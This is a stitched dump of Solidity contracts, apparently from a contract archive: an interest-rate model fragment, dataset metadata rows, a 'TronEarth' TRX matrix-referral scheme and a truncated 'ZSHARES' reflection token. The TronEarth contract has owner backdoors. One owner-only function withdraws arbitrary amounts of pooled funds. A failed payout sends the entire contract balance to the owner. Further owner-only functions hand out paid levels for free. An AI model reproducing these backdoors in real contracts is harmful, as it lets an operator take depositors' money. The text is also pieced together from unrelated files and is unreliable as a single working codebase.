function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
function getBorrowRateInternal(uint cash, uint borrows, uint reserves) internal view returns (uint) {
uint util = utilizationRate(cash, borrows, reserves);
if (util <= kink) {
return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
} else {
uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint excessUtil = util.sub(kink);
return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
}
}
function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual override view returns (uint) {
return getBorrowRateInternal(cash, borrows, reserves);
}
function getSupplyRateInternal(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) internal view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRateInternal(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual override view returns (uint) {
return getSupplyRateInternal(cash, borrows, reserves, reserveFactorMantissa);
}
function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) internal onlyOwner {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_));
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
kink = kink_;
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink);
}
}
contract JumpRateModel is BaseJumpRateModel {
function initialize(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public initializer {
super.__Ownable_init();
super.updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_);
}
}
| 53,982 | 10,690 |
e2d660e3a5aac44c91be08d60db6e4c0cf83849f2153fc8162bcb077d148bbc5
| 30,857 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQryqBKiDBkam8C75zW6ZrzXirGLbSBLd8_TronEarth.sol
| 7,407 | 29,124 |
//SourceUnit: tronearth.sol
pragma solidity 0.5.4;
contract TronEarth{
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint256 => uint256) downlineNumber;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint => address) selfReferral;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
mapping(uint8 => uint256) holdAmount;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6
{
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
uint256 RefvID;
}
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 12;
uint8 public current_upline = 1;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
uint public lastUserId = 2;
uint public x3vId = 2;
mapping(uint8 => mapping(uint256 => address)) public x3vId_number;
mapping(uint8 => uint256) public x3CurrentvId;
mapping(uint8 => uint256) public x3Index;
address public owner;
mapping(uint8 => uint) public levelPrice;
mapping(uint8 => uint) public blevelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed _from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed _from, address indexed receiver, uint8 matrix, uint8 level);
event UserIncome(address indexed user, address indexed _from, uint8 matrix, uint8 level, uint income);
event check(address _user,uint8 _level, uint _value);
constructor(address ownerAddress) public {
levelPrice[1] = 150 trx;
levelPrice[2] = 200 trx;
levelPrice[3] = 300 trx;
levelPrice[4] = 500 trx;
levelPrice[5] = 750 trx;
levelPrice[6] = 1250 trx;
levelPrice[7] = 2000 trx;
levelPrice[8] = 3500 trx;
levelPrice[9] = 7500 trx;
levelPrice[10] = 15000 trx;
levelPrice[11] = 30000 trx;
levelPrice[12] = 60000 trx;
blevelPrice[1] = 1000 trx;
blevelPrice[2] = 2500 trx;
blevelPrice[3] = 5000 trx;
blevelPrice[4] = 15000 trx;
blevelPrice[5] = 50000 trx;
blevelPrice[6] = 150000 trx;
blevelPrice[7] = 500000 trx;
blevelPrice[8] = 1500000 trx;
blevelPrice[9] = 5000000 trx;
blevelPrice[10] = 15000000 trx;
blevelPrice[11] = 50000000 trx;
blevelPrice[12] = 150000000 trx;
owner = ownerAddress;
User memory user = User({
id: 123456,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[123456] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++)
{
x3vId_number[i][1]=ownerAddress;
x3Index[i]=1;
x3CurrentvId[i]=1;
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner,0);
}
registration(msg.sender, bytesToAddress(msg.data),0);
}
function withdrawLostTRXFromBalance(address payable _sender,uint256 _amt) public {
require(msg.sender == owner, "onlyOwner");
_sender.transfer(_amt);
}
function registrationExt(address referrerAddress,uint id) external payable {
registration(msg.sender, referrerAddress, id);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if (matrix == 1)
{
require(msg.value == levelPrice[level] , "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
require(users[msg.sender].activeX3Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
if(level>2)
{
if(users[msg.sender].holdAmount[level-2]>=blevelPrice[level-1] && !(users[msg.sender].activeX6Levels[level-1]))
{
autoUpgrade(msg.sender , (level-1));
}
}
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
}
else
{
require(msg.value == blevelPrice[level] , "invalid price");
require(level >= 1 && level <= LAST_LEVEL, "invalid level");
if(level<12)
require(users[msg.sender].activeX3Levels[level+1], "buy working level first");
if(level>1)
require(users[msg.sender].activeX6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
if(users[msg.sender].holdAmount[level-1]>0)
address(uint160(msg.sender)).send(users[msg.sender].holdAmount[level-1]);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress, uint id) private{
require(!isUserExists(userAddress), "user exists");
require(idToAddress[id]==address(0) && id>=100000, "Invalid ID");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
require(msg.value == levelPrice[currentStartingLevel], "invalid registration cost");
User memory user = User({
id: id,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[id] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
lastUserId++;
x3vId++;
users[referrerAddress].selfReferral[users[referrerAddress].partnersCount]=userAddress;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
if(referrerAddress==owner)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
if(users[referrerAddress].x3Matrix[level].referrals.length==5)
{
emit Reinvest(referrerAddress, referrerAddress, userAddress, 1, level);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if(users[referrerAddress].downlineNumber[level]==users[referrerAddress].partnersCount)
{
users[referrerAddress].downlineNumber[level]=0;
}
address downline=get_downline_address(referrerAddress,level);
if(downline!=referrerAddress && is_qualifiedUplineIncome(downline,level))
{
users[referrerAddress].downlineNumber[level]=users[referrerAddress].downlineNumber[level]+1;
emit UserIncome(downline, userAddress, 1, level, 0);
return sendETHDividends(downline, userAddress, 1, level);
}
else
{
emit SentExtraEthDividends(userAddress, referrerAddress, 1, level);
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
}
else
{
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
}
else
{
if(users[referrerAddress].x3Matrix[level].referrals.length<2)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
else if(users[referrerAddress].x3Matrix[level].referrals.length==2)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
address freeX3Referrer = findFreeX3Referrer(referrerAddress, level);
return updateX3Referrer(userAddress, freeX3Referrer, level);
}
if(users[referrerAddress].x3Matrix[level].referrals.length==3)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
else
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
emit Reinvest(referrerAddress, referrerAddress, userAddress, 1, level);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if(users[referrerAddress].downlineNumber[level]==users[referrerAddress].partnersCount)
{
users[referrerAddress].downlineNumber[level]=0;
}
address downline=get_downline_address(referrerAddress,level);
if(downline!=referrerAddress)
{
users[referrerAddress].downlineNumber[level]=users[referrerAddress].downlineNumber[level]+1;
emit UserIncome(downline, userAddress, 1, level, 0);
return sendETHDividends(downline, userAddress, 1, level);
}
else
{
emit SentExtraEthDividends(userAddress, referrerAddress, 1, level);
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
}
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private{
uint256 newIndex=x3Index[level]+1;
x3vId_number[level][newIndex]=userAddress;
x3Index[level]=newIndex;
if(users[referrerAddress].holdAmount[level]<blevelPrice[level+1] && !(users[referrerAddress].activeX6Levels[level+1]) && level<12)
{
if(users[referrerAddress].referrer!=address(0))
address(uint160(users[referrerAddress].referrer)).send((blevelPrice[level]*5)/100);
else
address(uint160(owner)).send((blevelPrice[level]*5)/100);
users[referrerAddress].holdAmount[level]=users[referrerAddress].holdAmount[level]+((blevelPrice[level]*95)/100);
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
if(level<12)
{
if(users[referrerAddress].holdAmount[level]>=blevelPrice[level+1] && !(users[referrerAddress].activeX6Levels[level+1]) && users[referrerAddress].activeX3Levels[level+1])
{
autoUpgrade(referrerAddress, (level+1));
}
}
else
{
if(users[referrerAddress].holdAmount[level]>=blevelPrice[level+1] && !(users[referrerAddress].activeX6Levels[level+1]))
{
autoUpgrade(referrerAddress, (level+1));
}
}
}
else
{
if (users[referrerAddress].x6Matrix[level].referrals.length < 4)
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
sendETHDividends(referrerAddress, userAddress, 2, level);
x3CurrentvId[level]=x3CurrentvId[level]+1; // After completion of two members
}
}
function autoUpgrade(address _user, uint8 level) private{
if(users[_user].activeX3Levels[level+1])
{
if((users[_user].holdAmount[level-1]-blevelPrice[level])>0)
{
address(uint160(_user)).send(users[_user].holdAmount[level-1]-blevelPrice[level]);
}
address freeX6Referrer = findFreeX6Referrer(level);
users[_user].activeX6Levels[level] = true;
updateX6Referrer(_user, freeX6Referrer, level);
emit Upgrade(_user, freeX6Referrer, 2, level);
}
}
function AbuyNewLevel(address _user, uint8 matrix, uint8 level) external payable {
require(msg.sender==owner,"Only Owner");
require(isUserExists(_user), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if (matrix == 1)
{
require(level > 1 && level <= LAST_LEVEL, "invalid level");
require(users[_user].activeX3Levels[level-1], "buy previous level first");
require(!users[_user].activeX3Levels[level], "level already activated");
if (users[_user].x3Matrix[level-1].blocked) {
users[_user].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(_user, level);
users[_user].x3Matrix[level].currentReferrer = freeX3Referrer;
users[_user].activeX3Levels[level] = true;
AupdateX3Referrer(_user, freeX3Referrer, level);
emit Upgrade(_user, freeX3Referrer, 1, level);
}
else
{
require(level >= 1 && level <= LAST_LEVEL, "invalid level");
if(level<12)
require(users[_user].activeX3Levels[level+1], "buy working level first");
if(level>1)
require(users[_user].activeX6Levels[level-1], "buy previous level first");
require(!users[_user].activeX6Levels[level], "level already activated");
if (users[_user].x6Matrix[level-1].blocked) {
users[_user].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(level);
users[_user].activeX6Levels[level] = true;
AupdateX6Referrer(_user, freeX6Referrer, level);
emit Upgrade(_user, freeX6Referrer, 2, level);
}
}
function Aregistration(address userAddress, address referrerAddress, uint id) public{
require(msg.sender==owner,"Only Owner");
require(!isUserExists(userAddress), "user exists");
require(idToAddress[id]==address(0) && id>=100000, "Invalid ID");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: id,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[id] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
lastUserId++;
x3vId++;
users[referrerAddress].selfReferral[users[referrerAddress].partnersCount]=userAddress;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
AupdateX3Referrer(userAddress, freeX3Referrer, 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function AupdateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
if(referrerAddress==owner)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
if(users[referrerAddress].x3Matrix[level].referrals.length==5)
{
emit Reinvest(referrerAddress, referrerAddress, userAddress, 1, level);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if(users[referrerAddress].downlineNumber[level]==users[referrerAddress].partnersCount)
{
users[referrerAddress].downlineNumber[level]=0;
}
address downline=get_downline_address(referrerAddress,level);
if(downline!=referrerAddress && is_qualifiedUplineIncome(downline,level))
{
users[referrerAddress].downlineNumber[level]=users[referrerAddress].downlineNumber[level]+1;
emit UserIncome(downline, userAddress, 1, level, 0);
return;
}
else
{
emit SentExtraEthDividends(userAddress, referrerAddress, 1, level);
return;
}
}
else
{
return;
}
}
else
{
if(users[referrerAddress].x3Matrix[level].referrals.length<2)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return;
}
else if(users[referrerAddress].x3Matrix[level].referrals.length==2)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
address freeX3Referrer = findFreeX3Referrer(referrerAddress, level);
return AupdateX3Referrer(userAddress, freeX3Referrer, level);
}
if(users[referrerAddress].x3Matrix[level].referrals.length==3)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return;
}
else
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
emit Reinvest(referrerAddress, referrerAddress, userAddress, 1, level);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if(users[referrerAddress].downlineNumber[level]==users[referrerAddress].partnersCount)
{
users[referrerAddress].downlineNumber[level]=0;
}
address downline=get_downline_address(referrerAddress,level);
if(downline!=referrerAddress)
{
users[referrerAddress].downlineNumber[level]=users[referrerAddress].downlineNumber[level]+1;
emit UserIncome(downline, userAddress, 1, level, 0);
return;
}
else
{
emit SentExtraEthDividends(userAddress, referrerAddress, 1, level);
return;
}
}
}
}
function AupdateX6Referrer(address userAddress, address referrerAddress, uint8 level) private{
uint256 newIndex=x3Index[level]+1;
x3vId_number[level][newIndex]=userAddress;
x3Index[level]=newIndex;
if (users[referrerAddress].x6Matrix[level].referrals.length < 4)
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
return;
}
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
x3CurrentvId[level]=x3CurrentvId[level]+1; // After completion of two members
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(uint8 level) public view returns(address){
uint256 id=x3CurrentvId[level];
return x3vId_number[level][id];
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersReferral(address userAddress, uint pos) public view returns(address) {
return users[userAddress].selfReferral[pos];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].referrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
uint ded;
uint income;
if(matrix==1)
{
ded=(levelPrice[level]*5)/100;
income=(levelPrice[level]-ded);
address(uint160(owner)).send(ded);
}
else
{
ded=(blevelPrice[level]*5)/100;
income=(blevelPrice[level]-ded);
if(users[receiver].referrer!=address(0))
address(uint160(users[receiver].referrer)).send(ded);
else
address(uint160(owner)).send(ded);
}
if (!address(uint160(receiver)).send(income)) {
address(uint160(owner)).send(address(this).balance);
return;
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function get_downline_address(address _referrer,uint8 level) public returns(address){
uint donwline_number=users[_referrer].downlineNumber[level];
uint old_donwline_number=users[_referrer].downlineNumber[level];
while(true)
{
if(users[_referrer].partnersCount>donwline_number)
{
if(is_qualifiedUplineIncome(users[_referrer].selfReferral[donwline_number],level))
{
users[_referrer].downlineNumber[level]=users[_referrer].downlineNumber[level]+1;
return users[_referrer].selfReferral[donwline_number];
}
donwline_number++;
}
else
{
if(old_donwline_number>0)
{
donwline_number=0;
users[_referrer].downlineNumber[level]=0;
}
else
{
users[_referrer].downlineNumber[level]=0;
return _referrer;
}
}
}
}
function is_qualifiedUplineIncome(address _user,uint8 level) public view returns(bool)
{
uint total=0;
if(users[_user].partnersCount>=2 && users[_user].activeX3Levels[level])
{
return true;
}
else
{
return false;
}
}
function getUserHoldAmount(address userAddress) public view returns(uint256[] memory) {
uint256[] memory levelHold = new uint256[](12);
for(uint8 j=0; j<12; j++)
{
levelHold[j] =users[userAddress].holdAmount[j+1];
}
return (levelHold);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 289,880 | 10,691 |
898258a21dbbc617608fed4fcd5b248462f8e92f2a4f7d9e138f45972509c244
| 29,450 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/73/73f34180d8c8F031D730dc56EE7bE9858D6bC2b7_ZSHARES.sol
| 5,182 | 18,694 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ZSHARES is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = '0 Shares Token';
string private constant _symbol = '0SHARE';
uint256 private _taxFee = 400;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
